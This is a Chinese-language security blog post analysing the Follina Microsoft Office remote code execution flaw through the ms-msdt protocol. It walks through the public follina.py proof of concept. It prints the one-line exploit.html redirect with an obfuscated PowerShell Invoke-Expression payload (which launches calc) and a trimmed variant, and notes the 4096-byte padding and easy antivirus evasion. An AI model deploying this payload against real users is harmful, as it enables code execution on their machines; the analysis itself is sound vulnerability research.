作者:Y4er
原文鏈接:https://y4er.com/post/follina-microsoft-office-rce-with-ms-msdt-protocol/
前言
看推特發了一個好玩的office rce。最早應該是起源于nao_sec的推特
然后又發現了一篇分析文章。
https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
接著poc也有了 https://github.com/chvancooten/follina.py
本文依托于poc看一下這個office rce
分析
python .\follina.py -m command -c calc

查看python源碼,邏輯是向word\_rels\document.xml.rels寫一個遠程模板地址

釣過魚的都知道這個是遠程模板,接著會寫入一個www\exploit.html,這個文件中的關鍵代碼只有一行js
location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\"";
跳了一個ms-msdt:/偽協議,ms系列是office注冊的協議,你可以在設置-應用-默認應用-按協議指定默認應用中找到對應的偽協議和所啟動的應用。

ms-msdt協議沒在這里找到,可以從注冊表中找到

command是"%SystemRoot%\system32\msdt.exe" %1

msdt.exe 是微軟支持診斷工具,微軟對其有官方文檔
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msdt
參數如圖

此時回頭來看exploit.html,其命令如下
msdt.exe /id PCWDiagnostic /skip force /param "IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
/id PCWDiagnostic表示運行PCWDiagnostic診斷包,除此以外還有其他的診斷包
C:\Windows\diagnostics\index

對應的程序目錄在C:\Windows\diagnostics\system

不同的診斷包兼容性不一樣,具體兼容版本看微軟文檔 available-troubleshooting-packs
/skip force文檔沒提,不過實際測試加不加都可以彈計算器,字面意思應該是強制跳過,無所謂,而且IT_RebrowseForFile不加也可以,所以精簡下來的payload如下
/param "IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe"
這部分通過param參數應該是繼續向運行PCWDiagnostic診斷包時傳遞了三個參數
- IT_RebrowseForFile
- IT_LaunchMethod
- IT_BrowseForFile
這三個參數我在下面兩個鏈接中搜到了一些東西
- https://lolbas-project.github.io/lolbas/Binaries/Msdt/
- https://gist.github.com/homjxi0e/3f35212db81b9375b7906031a40c6d87
應該是通過這幾個參數可以運行msi程序,但是具體怎么實現的?
這里需要引入微軟文檔《Writing a Troubleshooting Manifest》
回頭看PCWDiagnostic,對應的診斷包程序位于C:\Windows\diagnostics\system\PCW

其中DiagPackage.diagpkg是manifest文件,這些在文檔中有。

翻譯過來:該部分表示要在故障排除階段運行的腳本
在Interactions塊中是程序交互的參數

其中我們用到的IT_BrowseForFile也在其中

manifest中指定的powershell程序是

C:\Windows\diagnostics\system\PCW\TS_ProgramCompatibilityWizard.ps1
此時回頭來看payload

代碼高亮已經給出答案,當調用ps1腳本時
$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'Unicode.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'YwBhAGwAYwA='+[char]34+'))'))))
這段代碼會逃逸出來被powershell執行,造成rce。
拓展
本著探索精神,想著自己也挖一挖這種洞,于是找了一些其他的偽協議,也就是上文中的ms-officecmd,于是發現了一個dotnet的LocalBridge.exe

經過處理json之后調用LaunchOfficeAppValidated,像是可以運行驗證過后的程序。

發現用到了pinvoke調用dll

剛找好兄弟要了一個ida,下載的過程中在搜索ms-officecmd關鍵字,發現了前人寫的文章
兩篇文章記錄了msoffice協議相關的知識以及通過ms-officecmd協議挖掘Teams、Skype的1click的rce chain,值得一學,但是我進一步挖掘的熱情被他們的rce澆滅了。
就這樣吧。
后文
通過遠程模板location.href跳轉的形式,可以拉取msdt調用powershell執行命令,并且繞過了啟用編輯這一大限制,總體來說還是比較牛逼的。
因為參數很多,所以免殺相對好做,防御的話我不是專業的就不說了。
補充:exploit.html需要填充4096垃圾字符,因為在< https://billdemirkapi.me/unpacking-cve-2021-40444-microsoft-office-rce/ >這個文章中分析了會先讀取4096緩沖區。

文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1911/
暫無評論